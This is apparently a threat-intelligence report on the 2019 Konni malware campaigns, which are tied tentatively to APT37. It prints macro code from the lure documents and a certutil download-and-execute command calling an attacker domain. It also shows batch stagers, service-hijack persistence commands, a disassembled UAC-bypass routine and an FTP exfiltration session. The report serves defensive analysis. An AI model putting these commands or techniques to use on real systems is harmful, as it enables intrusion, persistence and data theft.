

Cyberint

KONNI MALWARE

2019 CAMPAIGN

JANUARY 2020



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Executive Summary

Throughout 2019 CyberInt Research observed multiple events related to Konni, remote administration tool, observed in the wild since early 2014.

The Konni malware family is potentially linked to APT37, a North-Korean cyber espionage group active since 2012. The group primary victims are South-Korean political organizations, as well as Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East.



Figure 1 Map chart shows APT37 main targets


The latest activities leveraging the Konni malware family potentially target political organizations and politically motivated victims in Russia and South-Korea. CyberInt Research Team observed 3 distinct campaigns throughout 2019: starting from January to late September.

Konni Infection chain consists of multiple stages and utilizes living-off-the-land binaries in its operation from the use of certutil.exe to download additional files and decode their content to sc.exe and reg.exe for persistence. These campaigns leverage similar C2 infrastructure for the delivery and a specific free FTP service used for exfiltration the stolen data from the affected targets. Additionally, the macro-armed lure documents used to deliver and install the Konni payloads have similarities across all 3 campaigns.

Konni is modular malware that collects reconnaissance data on the target machine prior to sending further modules. We were unable to find additional operations related to the Konni malware family that might reveals further capabilities and malware types used by the group associated with Konni activity.

During our analysis we found overlapping between the Konni infection chain, tools and technique used by the Syscon backdoor [\[1\]](#) using a service called *COMSysApp* to load the payload as a service DLL as a mean to achieve persistence on the victim machine. Although we observed similarities between Konni and Syscon, at this time we can't say with full certainty that the same threat actor is behind both operations.

Campaign Timeline



Execution flow




Figure 2 Typical Konni execution flow

Konni Multi-Stage Operation

Stage 1 – Initial Execution

In mid-July 2019 CyberInt research team observed a campaign delivering the Konni malware. The threat actor behind the campaign leveraged a malicious macro-armed Microsoft Word document titled: “О ситуации на Корейском полуострове и перспективах диалога между США и КНДР” (translated to: About the situation on the Korean Peninsula and the prospect of a dialogue between the United States and the DPRK). Unlike the previously observed campaign, the August campaign potentially targeting Russian language speakers with an interest in Korean geo-political situation, the lure document used in this campaign is written Cyrillic and contains content related to North Korean American foreign affairs.

О ситуации на Корейском полуострове и перспективах диалога между США и КНДР.

В центре внимания форума были проблемы современного состояния и перспектив денуклеаризации КНДР и американо-северокорейских отношений.

В ходе обсуждения данных проблем отчётливо проявились противоположные оценки в рамках российско-китайского и американо-японского подходов.

Единственное, в чём стороны согласились это с тем, что второй саммит Д. Трампа и Ким Чен Ына в Ханое в феврале с. г. следует расценивать не как провал, а как полезную встречу, в итоге которой обе стороны лучше и реалистичнее поняли позиции друг друга. Далее начали выявляться принципиальные различия.

Российские и китайские участники утверждали, что в Ханое лидер КНДР продемонстрировал несогласие следовать американскому курсу на одностороннюю первоочередную денуклеаризацию без встречных ответных шагов со стороны США в виде смягчения санкций. Данная позиция была подтверждена северокорейским лидером в ходе встречи с президентом РФ В.В. Путиным во Владивостоке 25-го апреля с. г. Там Ким Чен Ын вновь заявил, что готов продолжать диалог и с США, и с Южной Кореей, но с целью не ведения «переговоров ради переговоров», а с тем, чтобы добиться в их ходе конкретных результатов, пакет которых включает в себя непременно и сокращение объема рестрикций, действующих против КНДР, в том числе, в виде санкций СБ ООН.

Американские же дипломаты и военные в Гонконге, которых автоматически и безоговорочно поддерживали японские союзники, утверждали иное. По оценкам данных представителей консервативного большинства истеблишмента США главным достижением встречи в Ханое стало то, что там наконец Д. Трамп попытался убедиться, что Вашингтон и Пхеньян имеют общее понимание самого понятия «денуклеаризация», выраженного чётким языком международного права. При этом ими постоянно повторялся тезис о том, что санкции – это продукт не политики США, а коллективной воли членов СБ ООН, и предъявлять к Вашингтону требования по их смягчению в принципе неправомерно.

Figure 3 Decoy document for 4c201f9949804e90f94fe91882cb8aad3e7daf496a7f4e792b9c7fed95ab0726

When analyzing the document, we see that the internal codepage of the lure document is 949 - ANSI/OEM Korean (Unified Hangul Code). indicating that the actor who created the document used Korean keyboard layout. This is an indication that the author is a Korean native speaker.

Property	Value
codepage	949
title	
subject	
author	
keywords	
comments	
template	Normal.dotm
last_saved_by	Windows User
revision_number	7
total_edit_time	180
create_time	2019-07-09 01:51:00
last_saved_time	2019-07-12 09:30:00
num_pages	4
num_words	1260
num_chars	7186
creating_application	Microsoft Office Word
security	0

Figure 4 Document Properties. Codepage 949 is windows Korean (Unified Hangul Code)

The lure document contains VBA macro code with the following capabilities:

- ⇒ Changes the font color from light grey to black – to trick the victim to enable content.
- ⇒ Checks if windows is a 32 or 64 bit version.
- ⇒ Constructs and executes the command-line to download additional files.

```

VBA MACRO ThisDocument.cls
in file: C:\Users\flare\Desktop\Analysis\Alien\4c201f9949804e90f94fe91882cb8aad3e7daf496a7f4e792b9c7fed95ab0726 - OLE stream: u'Macros/VBA/ThisDocument'
-----
Public Function Hex2Chr(ByVal HexValue As String) As String
    For i = 1 To Len(HexValue)
        Num = Mid(HexValue, i, 2)
        Value = Value & Chr(Val("&h" & Num))
        i = i + 1
    Next i
    Hex2Chr = Value
End Function
Private Sub Document_Open()
    Dim nResult As Long
    Dim sCmdLine As String

    With ActiveDocument.Content
        .Font.ColorIndex = wdBlack
    End With

    If (TextBox1.Text <> "") Then
        sCmdLine = Environ("windir")
        nResult = InStr(Application.Path, "x86")
        If nResult <> 0 Then
            sCmdLine = sCmdLine & Hex2Chr(TextBox1.Text)
        Else
            sCmdLine = sCmdLine & Hex2Chr(TextBox2.Text)
        End If

        sCmdLine = sCmdLine + Hex2Chr(TextBox3.Text)
        nResult = Shell(sCmdLine, vbHide)
        TextBox1.Text = ""
        TextBox2.Text = ""
        TextBox3.Text = ""
        ActiveDocument.Save
    End If
End Sub

```

Figure 5 Macro code for 4c201f9949804e90f94fe91882cb8aad3e7daf496a7f4e792b9c7fed95ab0726

The document contains 3 hidden textboxes. Each has a hexadecimal string constructed to a command line executed once the document is opened by the victim.

TextBox #	Hex String	ASCII String
TextBox1	5C7379736E61746976655C636D642E657865202F71202F6320	\sysnative\cmd.exe /q /c
TextBox2	5C73797374656D33325C636D642E657865202F71202F6320	\system32\cmd.exe /q /c
TextBox3	636F7079202F79202577696E646972255C73797374656D33325C636572747574696C2E657865202574656D70255C6D782E657865202626206364202F64202574656D7025202626206D78202D75726C6361636865202D73706C6974202D6620687474703A2F2F68616E64696361702E6575352E6F72672F312E747874202626206D78202D6465636F6465202D6620312E74787420312E6261742026262064656C202F66202F7120312E74787420262620312E626174	copy /y %windir%\system32\certutil.exe %temp%\mx.exe && cd /d %temp% && mx -urlcache -split -f http://handicap.eu5[.]org/1.txt && mx -decode -f 1.txt 1.bat && del /f /q 1.txt && 1.bat

Full Command Line example:

```
c:\windows\system32\cmd.exe /q /c copy /y %windir%\system32\certutil.exe %temp%\mx.exe && cd /d %temp% && mx -urlcache -split -f http://handicap[.]jeu5.org/1.txt && mx -decode -f 1.txt 1.bat && del /f /q 1.txt && 1.bat
```

Certutil is a living-off the land command line utility that can be used to obtain certificate authority information and configure certificate services. Threat actors usually utilize certutil to download remote files from a given URL. It also incorporates a built-in function to decode base64-encoded files.

CMD silently copies certutil.exe into temp directory and rename it to “mx.exe” in an attempt to evade detection and then downloads 1.txt from from a remote resource: [http://handicap.eu5\[.\]org](http://handicap.eu5[.]org). The text file contains a base64 encoded string that is decoded by certutil and saved as 1.bat.

The threat actor removes tracks by silently deleting 1.txt from the temp directory and then executes 1.bat.




Figure 6 Konni Initial Execution

Stage 2 – Privilege Escalation

The batch script acts as a second stage downloader and downloads two additional files, depending on the system architecture. Certutil is executed to download a txt file and decode its content. Decoding each base64 string (32-bit or 64-bit version) results in a cabinet file – setup.cab

```
@echo off

if not exist "%PROGRAMFILES(x86)%\" (
  mx -urlcache -split -f "http://handicap.eu5.org/2.txt" > nul
  mx -decode -f 2.txt setup.cab > nul
  del /f /q 2.txt > nul
) else (
  mx -urlcache -split -f "http://handicap.eu5.org/3.txt" > nul
  mx -decode -f 3.txt setup.cab > nul
  del /f /q 3.txt > nul
)
```

Figure 7 1.bat: downloads next stager

The content of the cabinet file is then extracted into %temp% folder, and setup.cab file is deleted from the system.





 install.bat	7/12/2019 7:11 PM	Windows Batch File
 mshlpsvc.dll	7/12/2019 7:09 PM	Application extens...
 mshlpsvc.ini	7/12/2019 7:39 PM	Configuration sett...
 mshlpweb.dll	7/12/2019 7:09 PM	Application extens...

Figure 8 setup.cab files

- ⇒ **Install.bat** – acts as installer to ensure persistence and execute **mshlpsvc.dll**.
- ⇒ **mshlpweb.dll** – acts as loader; responsible to elevate privileges.
- ⇒ **mshlpsvc.dll** – final payload; responsible for data exfiltration.
- ⇒ **mshlpsvc.ini** – configuration file; contains URL used by **mshlpsvc.dll**

Both dropped DLL files are unsigned and packed with UPX packer:

```
Sigcheck v2.73 - File version and signature viewer
Copyright (C) 2004-2019 Mark Russinovich
Sysinternals - www.sysinternals.com

c:\users\flare\desktop\analysis\mshlpweb.dll:
    Verified:      Unsigned
    Link date:     11:09 AM 7/12/2019
    Publisher:     n/a
    Company:       n/a
    Description:   n/a
    Product:       n/a
    Prod version:  n/a
    File version:  n/a
    MachineType:   32-bit

C:\Users\flare>strings "C:\Users\flare\Desktop\Analysis\mshlpweb.dll" | findstr /I "upx"
UPX0
UPX1
UPX2
UPX!

C:\Users\flare>
```

Figure 9 UPX strings indicate file is packed

To check level of permissions, the threat actor uses net.exe. If the current user has high privileges, install.bat is executed directly. Otherwise, mshlpweb.dll is executed using rundll32.exe.

```
expand setup.cab -F:* "%TEMP%" > nul
del /f /q setup.cab > nul

:CHECK_ADMIN
net session > nul
if %errorlevel% equ 0 (goto ADMIN) else (goto NONADMIN)

:ADMIN
del /f /q "%TEMP%\mshlpweb.dll" > nul
"%TEMP%\install.bat" > nul
goto EXIT

:NONADMIN
rundll32 "%TEMP%\mshlpweb.dll", EntryPoint "%TEMP%\install.bat"
goto EXIT

:EXIT
del /f /q "%~dpnx0" > nul
```

Figure 10 1.bat: Checks for user's permission

mshlpweb.dll is a loader that uses a known token impersonation technique to elevate permissions and execute install.bat with high privileges. To gain higher privileges mshlpweb.dll execute the Windows Update Standalone Installer, wusa.exe. This process runs as a high-integrity process by default, since its set to auto-elevate within its manifest.

```
c:\windows\system32\wusa.exe:
  Verified:      Signed
  Signing date:  9:37 PM 11/20/2010
  Publisher:     Microsoft Windows
  Company:       Microsoft Corporation
  Description:   Windows Update Standalone Installer
  Product:       Microsoft Windows® Operating System
  Prod version:  6.1.7601.17514
  File version:  6.1.7601.17514 (win7sp1_rtm.101119-1850)
  MachineType:   64-bit
  Manifest:
  <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
  <!-- Copyright (c) Microsoft Corporation -->
  <assembly xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" manifestVersion="1.0"
  >

    <assemblyIdentity
      version="1.0.0.0"
      processorArchitecture="amd64"
      name="Microsoft.Windows.WUSA"
      type="win32"/>

    <description>Windows Update Standalone Installer</description>
    <dependency>
      <dependentAssembly>
        <assemblyIdentity
          type="win32"
          name="Microsoft.Windows.Common-Controls"
          version="6.0.0.0"
          processorArchitecture="amd64"
          publicKeyToken="6595b64144ccf1df"
          language="en"/>
        </dependentAssembly>
      </dependency>
    <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
      <security>
        <requestedPrivileges>
          <requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
        </requestedPrivileges>
      </security>
    </trustInfo>
    <asmv3:application>
      <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
        <autoElevate>true</autoElevate>
        <dpiAware>true</dpiAware>
      </asmv3:windowsSettings>
    </asmv3:application>
  </assembly>
```

Figure 11 wusa.exe manifest, autoElevate set to true

mshlpweb.dll contains an access token impersonation routine that duplicates the token of the high integrity instance of wusa.exe, and uses it to create a new cmd.exe process running under the security context of the impersonated user^[2], which in turn execute the installer - install.bat.





Figure 12 wusa.exe runs with high integrity

Token Impersonation Routine

mshlpweb.dll utilize a set of standard windows api calls to duplicate the token of wusa.exe and use it to spawn high integrity instance of cmd.exe. Higher privileges are needed to execute the installer, install.bat. The technique used by the threat actor is a full fileless UAC bypass named “Cavalry” that was leaked back in March 2017 to WikiLeaks as part of “Vault 7”, a series of leaks on the US CIA that included sophisticated privilege escalation techniques used by several actors in the wild since the leakage [3]. This technique also bypasses UAC with the “AlwaysNotify” settings.


Technique flow:

- ⇒ wusa.exe is executed in hidden window using ShellExecuteExW;
- ⇒ Handle to the access token associated with wusa.exe is created.
- ⇒ The token object of wusa.exe is duplicated using DuplicateTokenEx. The threat actor pass “Token_all_access” as desired access, which combines all possible access rights for a token and creates a new impersonation token.



- ⇒ A new SID with medium privileges is created and set with NtSetInformationToken to the new duplicated token to lower its mandatory integrity level.

⇒ A restricted token is then created and duplicated using `NtFilterToken` and `DuplicateTokenEx` respectively.



⇒ The new duplicated token is passed to `ImpersonateLoggedOnUser`.

⇒ An elevated cmd instance is spawned using `CreateProcessWithLogonW` function. The credentials passed as arguments to the function (Username: aaa, Domain: bbb, Password: ccc) are identical to the credentials specified in the UAC bypass implementation by FuzzySecurity, UAC-TokenMagic [\[4\]](#)



```

lea     eax, [ebp+phNewToken]
push    eax           ; phNewToken
push    2             ; TokenType
push    2             ; ImpersonationLevel
push    ebx           ; lpTokenAttributes
push    12            ; dwDesiredAccess
push    [ebp+hExistingToken]; hExistingToken
mov     [ebp+phNewToken], ebx
call    DuplicateTokenEx
test    eax, eax
jz      loc_6FC71182

push    [ebp+phNewToken]; hToken
call    ImpersonateLoggedOnUser
test    al, al
jz      loc_6FC71182

push    44h
pop     edi
push    edi
lea     eax, [ebp+StartupInfo]
push    ebx
push    eax
call    sub_6FC71310
xor     eax, eax
mov     [ebp+StartupInfo.cb], edi
mov     [ebp+StartupInfo.wShowWindow], ax
lea     edi, [ebp+ProcessInformation]
stosd
stosd
stosd
stosd
mov     edi, 200h
push    edi
lea     eax, [ebp+WideCharStr]
push    ebx
push    eax
mov     [ebp+StartupInfo.dwFlags], 1
call    sub_6FC71310
add     esp, 18h
push    104h           ; cchWideChar
lea     eax, [ebp+WideCharStr]
push    eax           ; lpWideCharStr
push    0FFFFFFFFh     ; cbMultiByte
push    [ebp+lpMultiByteStr]; lpMultiByteStr
push    ebx           ; dwFlags
push    ebx           ; CodePage
call    MultiByteToWideChar
push    edi
lea     eax, [ebp+CommandLine]
push    ebx
push    eax
call    sub_6FC71310
lea     eax, [ebp+WideCharStr]
push    eax
lea     eax, [ebp+CommandLine]
push    offset aCS     ; "/c %s"
push    eax           ; LPWSTR
call    ds:wprintfW
add     esp, 18h
lea     eax, [ebp+ProcessInformation]
push    eax           ; lpProcessInformation
lea     eax, [ebp+StartupInfo]
push    eax           ; lpStartupInfo
push    ebx           ; lpCurrentDirectory
push    ebx           ; lpEnvironment
push    CREATE_DEFAULT_ERROR_MODE ; dwCreationFlags
lea     eax, [ebp+CommandLine]
push    eax           ; lpCommandLine
push    offset ApplicationName ; "C:\\Windows\\System32\\cmd.exe"
push    2             ; dwLogonFlags
push    offset Password ; "ccc"
push    offset Domain   ; "bbb"
push    offset Username ; "aaa"
call    CreateProcessWithLogonW
push    ebx           ; uExitCode
test    eax, eax
jnz     short loc_6FC712F4

```

James Forshaw's blog^[6] clearly outlines in detail how to bypass UAC using the technique above.




Figure 13 Konni 2nd stage and privilege escalation flow

Stage 3 – Persistence

When the installer is executed, it first stops COMSysApp, a service that manages the configuration and tracking of Component Object Model (COM)-based components, using sc.exe utility.

⇒ COMSysApp service is first configured to autostart and the binpath of the service is set to svchost.exe:

```
sc config COMSysApp type= interact type= own start= auto error= normal binpath=
"%windir%\System32\svchost.exe -k COMSysApp"
```

This is a commonly used technique for persistence, as it will automatically start the service after a successful login.

⇒ COMSysApp service is added under the "SvcHost" key as a preliminary step to its execution in the context of svchost.exe:

```
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost" /v COMSysApp /t REG_MULTI_SZ
/d "COMSysApp"
```

⇒ The malicious DLL is added as a service DLL of COMSysApp:

```
reg add "HKLM\SYSTEM\CurrentControlSet\Services\COMSysApp\Parameters" /v ServiceDll /t REG_EXPAND_SZ
/d "%windir%\System32\mshlpsvc.dll"
```

⇒ COMSysApp service is restarted

```
:INSTALL
sc query ComSysApp > nul
if %errorlevel% neq 0 (
    sc create ComSysApp binpath= "%windir%\System32\svchost.exe -k COMSysApp" DisplayNam
e= "COM+ System Application" > nul
    sc description ComSysApp "@comres.dll,-948" > nul
)
sc stop COMSysApp > nul
sc config COMSysApp type= interact type= own start= auto error= normal binpath= "%wind
ir%\System32\svchost.exe -k COMSysApp" > nul
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost" /v COMSysApp /t RE
G_MULTI_SZ /d "COMSysApp" /f > nul
reg add "HKLM\SYSTEM\CurrentControlSet\Services\COMSysApp\Parameters" /v ServiceDll /t
REG_EXPAND_SZ /d "%windir%\System32\mshlpsvc.dll" /f > nul
sc start COMSysApp > nul
```

Figure 14 Install.bat: Persistence & Execution of mshlpsvc.dll

Once COMSysApp service is restarted the malware is loaded in memory, and the batch file is removed from the infected system.

The final payload (mshlpsvc.dll), and its configuration file (mshlpsvc.ini) are both copied into the system32 directory from the temp directory and then deleted.

```

:COPYFILE
copy /y "%~dp0\mshlpsrv.dll" %windir%\System32 > nul
del /f /q "%~dp0\mshlpsrv.dll" > nul

copy /y "%~dp0\mshlpsrv.ini" %windir%\System32 > nul
del /f /q "%~dp0\mshlpsrv.ini" > nul

```

Figure 15 Install.bat: files copied to System32 directory




Figure 16 mshlpsrv.dll Execution and Persistence flow

After ComSysApp service is restarted, a new instance of Svchost.exe is spawned and loads mshlpsrv.dll. mshlpsrv.dll is a configuration file that delivered together with the final payload mshlpsrv.dll in earlier stage. This file contains a Base64-encoded string with a custom key, the file is read by and decoded by mshlpsrv.dll to perform an outbound connection and download [handicap\[.\]eu5\[.\]org/4.txt](http://handicap[.]eu5[.]org/4.txt)

Figure 17 The Custom Base64 key used to decode mshlpsrv.cini content

Data Reconnaissance

Prior to execution of any recon command to gather information from the target machine, the default codepage of the CMD console is changed to "65001" (utf-8)

```
cmd /c REG ADD HKCU\Console /v CodePage /t REG_DWORD /d 65001 /f
```

The following information is gathered from the affected machine and sent back to the control server:

- ⇒ System info using: `cmd /c systeminfo >%temp%\temp.ini`
- ⇒ List of running process using: `cmd /c tasklist >%temp%\temp.ini`
- ⇒ The temp.ini file is then compressed into a cabinet file and saved to C:\Windows\TEMP
`cmd /c makecab "C:\Windows\TEMP\temp.ini" "C:\Windows\TEMP\temp.cab"`

The downloaded file, 4.txt, contains a base64 encoded string with the same custom key. Following decoding, the file content appears to be the FTP credentials for the FTP service that acts as the command & control server for this attack. We've observed similar past campaigns where other free FTP services were used as the C2 for Konni and Syscon variants, starting from October 2017. [5]




Figure 18 4.txt: FTP credentials for C2 server

Exfiltration

The data is exfiltrated using the following:

- The temp.cab is base64 encoded with the same custom key used earlier.
- Encoded temp.cab is copied to a post.txt under the directory C:\Windows\TEMP
- files uploaded to the control server using “stor” command.

```

220----- Welcome to Pure-FTPd [privsep] [TLS] -----
220-You are user number 631 of 3900 allowed.
220-Local time is now 05:04. Server port: 21.
220-This is a private system - No anonymous login
220 You will be disconnected after 60 seconds of inactivity.
USER b8_24171239
331 User b8_24171239 OK. Password required
PASS adfgvx
230-Your bandwidth usage is restricted
230 OK. Current restricted directory is /
CWD htdocs
250 OK. Current directory is /htdocs
MKD 77Z0LDjwwTmm
257 "77Z0LDjwwTmm" : The directory was successfully created
CWD 77Z0LDjwwTmm
250 OK. Current directory is /htdocs/77Z0LDjwwTmm
TYPE A
200 TYPE is now ASCII
PASV
227 Entering Passive Mode (185,27,134,11,97,174)
STOR ff 08-17 02-16-50.txt
150 Accepted data connection
226-File successfully transferred
226 0.074 seconds (measured here), 16.23 Kbytes per second
  
```

Figure 19 FTP Session – login to the C2 FTP server and data exfiltration




Figure 20 Data Reconnaissance and Exfiltration flow

Konni Campaigns-2019

CyberInt Research Team observed 3 additional outbursts throughout the year: 2 similar samples observed on January 2019, and another one on September 2019.




Figure 21 Konni Outbursts 2019

Hash Comparison

Imphash (for “import hash”) is a unique hash value assign to PE files based on the import table of the file. The hash is calculated by the library and API function names and their order within the executable. This is an efficient way of pivoting on malicious executables that share a similar payload are most likely created by the same group.

DLL Name	SHA-256	Imphash	Compile Time
compvgk.dll	6256ba2b89c78877328cc70d45db980310a51545a83d1d922d64048b57d6c057	2818b3a61dc203e3e75c9312d428b24a	2019-01-21 03:01:58
comsyslib2.dll	274e706809a1c0363f78363d0c6a7d256be5be11039de14f617265e01d550a98	2818b3a61dc203e3e75c9312d428b24a	2019-01-30 06:06:34
mshlpsvc.dll	ceb8093507911939a17c6c7b39475f5d4db70a9ed3b85ef34ff5e6372b20a73e	419ec273a5550a29fd3ce9d1b09bd155	2019-07-12 09:08:33
mshlpsvc.dll	7d2b1af486610a45f78a573af9a9ad00414680ff8e958cfb5437a1b140acb60c	22453bac1da954a5399ae66ee20e9b9d	2019-07-12 09:09:52
xclientsvc.dll	7f6984fa9d0bbc1bd6ab531f0a8c2f4beb15de30f2b20054d3980395d77665af	22453bac1da954a5399ae66ee20e9b9d	2019-09-05 07:05:43
xclientsvc.dll	290c942da70c68d28a387775fbb7e6cab6749547d278cb755b4999e0fe61a09f	419ec273a5550a29fd3ce9d1b09bd155	2019-09-05 07:06:27

The compiler's linker builds the Import Address Table (IAT) based on the specific order of functions within the source file, same Imphash value indicates that the PE IAT table includes the same functions and in the same order. This is a strong evidence that ties together different payloads from different campaigns to the same threat actor.

Doc Properties Comparison

All lure documents associated with Konni activities are written in Cyrillic, and potentially target political organizations and politically motivated victims in Russia. Notwithstanding, we found that all 3 documents files' internal codepage is set to 949 - ANSI/OEM Korean (Unified Hangul Code).

Property	Value
codepage	949
title	
subject	
keywords	
template	Normal.dotm
last_saved_by	Windows User
revision_number	12
total_edit_time	780
create_time	2018-12-10 22:57:00
last_saved_time	2019-01-21 23:36:00
num_pages	5
num_words	2510
num_chars	14309
creating_application	Microsoft Office Word
security	0

geopol18.doc

Property	Value
codepage	949
title	
subject	
author	000
keywords	
comments	
template	Normal.dotm
last_saved_by	Windows User
revision_number	7
total_edit_time	180
create_time	2019-07-09 01:51:00
last_saved_time	2019-07-12 09:30:00
num_pages	4
num_words	1260
num_chars	7186
creating_application	Microsoft Office Word
security	0

О ситуации на Корейском полуострове и перспективах диалога между США и КНДР.doc (About the situation on the Korean Peninsula and the prospects for dialogue between the United States and the DPRK.doc)

Property	Value
codepage	949
title	
subject	
author	Administrator
keywords	
comments	
template	Normal.dotm
last_saved_by	Windows User
revision_number	8
total_edit_time	120
create_time	2019-06-24 07:11:00
last_saved_time	2019-09-05 07:14:00
num_pages	13
num_words	3755
num_chars	21410
creating_application	Microsoft Office Word
security	0

Россия – КНДР – РК – торговые-экономические связи – инвестиции.doc (Russia-North Korea-South Korea-Trade and Economic Relations-Investment.doc)

Macro Comparison

The lure document is armed with a VBA macro that essentially comprise the command line to be executed. The final command line that is composed by the macro is identical across all 3 campaigns expect of the C2 URL, where the next stager is downloaded from. In our example from the July campaign the final command line is: `c:\windows\system32\cmd.exe /q /c copy /y %windir%\system32\certutil.exe %temp%\mx.exe && cd /d %temp% && mx -urlcache -split -f http://handicap.eu5[.]org/1.txt && mx -decode -f 1.txt 1.bat && del /f /q 1.txt && 1.bat`

Below you can see the evolution and changes made in the macro code level throughout the Konni attacks; one notable change is the switch to hidden text boxes within the document that contain the hex representation of the commands instead using it directly in the macro.

```
Public Function hex2ascii(ByVal hextext As String) As String
    For i = 1 To Len(hextext)
        Num = Mid(hextext, i, 2)
        Value = Value & Chr(Val("&h" & Num))
        i = i + 1
    Next i
    hex2ascii = Value
End Function
Private Sub Document_Open()
    Dim nResult As Long
    Dim sCmdLine As String

    With ActiveDocument.Content
        .Font.ColorIndex = wdBlack
    End With

    sCmdLine = Environ("windir")
    nResult = InStr(Application.Path, "x86")
    If nResult < 0 Then
        sCmdLine = sCmdLine & hex2ascii("5C7379736E61746976655C6360642E657865202F71202F6320")
    Else
        sCmdLine = sCmdLine & hex2ascii("5C73797374656033325C6360642E657865202F71202F6320")
    End If

    sCmdLine = sCmdLine & TextBox1.Text
    nResult = Shell(sCmdLine, vbHide)
    TextBox1.Text = ""
    ActiveDocument.Save
End Sub
```

January Campaign Macro

```
Public Function hex2chr(ByVal HexValue As String) As String
    For i = 1 To Len(HexValue)
        Num = Mid(HexValue, i, 2)
        Value = Value & Chr(Val("&h" & Num))
        i = i + 1
    Next i
    Hex2Chr = Value
End Function
Private Sub Document_Open()
    Dim nResult As Long
    Dim sCmdLine As String

    With ActiveDocument.Content
        .Font.ColorIndex = wdBlack
    End With

    If (TextBox1.Text <> "") Then
        sCmdLine = Environ("windir")
        nResult = InStr(Application.Path, "x86")
        If nResult < 0 Then
            sCmdLine = sCmdLine & Hex2Chr(TextBox1.Text)
        Else
            sCmdLine = sCmdLine & Hex2Chr(TextBox2.Text)
        End If

        sCmdLine = sCmdLine & Hex2Chr(TextBox3.Text)
        nResult = Shell(sCmdLine, vbHide)
        TextBox1.Text = ""
        TextBox2.Text = ""
        TextBox3.Text = ""
        ActiveDocument.Save
    End If
End Sub
```

July Campaign Macro

```
Private Sub Document_Open()
    Dim nResult As Long
    Dim sCmdLine As String

    With ActiveDocument.Content
        .Font.ColorIndex = wdBlack
    End With

    If (TextBox1.Text <> "") Then
        sCmdLine = Environ("windir")
        nResult = InStr(Application.Path, "x86")
        If nResult < 0 Then
            sCmdLine = sCmdLine & TextBox1.Text
        Else
            sCmdLine = sCmdLine & TextBox2.Text
        End If

        sCmdLine = sCmdLine & TextBox3.Text
        nResult = Shell(sCmdLine, vbHide)
        TextBox1.Text = ""
        TextBox2.Text = ""
        TextBox3.Text = ""
        ActiveDocument.Save
    End If
End Sub
```

September Campaign Macro

Decoding Routine

Konni malware family use a custom base64 key to encode the content of several files in the exfiltration phase. We observed the same flow of data reconnaissance and exfiltration across all campaigns:




Figure 22 Typical Konni Data Reconnaissance and Exfiltration



MITRE ATT&CK Techniques

Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Collection	Exfiltration	C&C
Command-Line Interface	Modify Existing Service	Access Token Manipulation	Access Token Manipulation		Process Discovery		Exfiltration Over Alternative Protocol	Data Encoding
Execution through Module Load	New Service	New Service	Bypass User Account Control		System Information Discovery			
Rundll32			Deobfuscate/Decode Files or Information					
			Modify Registry					
			Rundll32					

IOCs

Lure Documents

8da5b75b6380a41eee3a399c43dfe0d99eeefaa1fd21027a07b1ecaa4cd96fdd
4c201f9949804e90f94fe91882cb8aad3e7daf496a7f4e792b9c7fed95ab0726
ed63e84985e1af9c4764e6b6ca513ec1c16840fb2534b86f95e31801468be67a

Konni Loader

6a22db7df237c085855deb48686217173dc2664f4b927ebe238d4442b68a2fd3
2ab1b28bae24217e8b6dd0cd30bb7258fa34c0d7337ecfea55e4310d08aeb1e6

Konni final payload DLL

e94fa697d8661d79260edf17c0a519fae4b2a64037aa79b29d6631205995fdad
6256ba2b89c78877328cc70d45db980310a51545a83d1d922d64048b57d6c057
52ba17b90244a46e0ef2a653452b26bcb94f0a03b999c343301fef4e3c1ec5d2
7d2b1af486610a45f78a573af9a9ad00414680ff8e958cfb5437a1b140acb60c
ceb8093507911939a17c6c7b39475f5d4db70a9ed3b85ef34ff5e6372b20a73e
8795b2756efa32d5101a8d38ea27fca9c8c7ed1d54da98f0520f72706d1c5105
7f6984fa9d0bbc1bd6ab531f0a8c2f4beb15de30f2b20054d3980395d77665af
290c942da70c68d28a387775fbb7e6cab6749547d278cb755b4999e0fe61a09f
274e706809a1c0363f78363d0c6a7d256be5be11039de14f617265e01d550a98

IP Addresses

69.197.143.12
185.27.134.11
88.99.13.69
162.253.155.226

Domains

clean.1apps[.]com
handicap.eu5[.]org
panda2019.eu5[.]org
ftpupload[.]net

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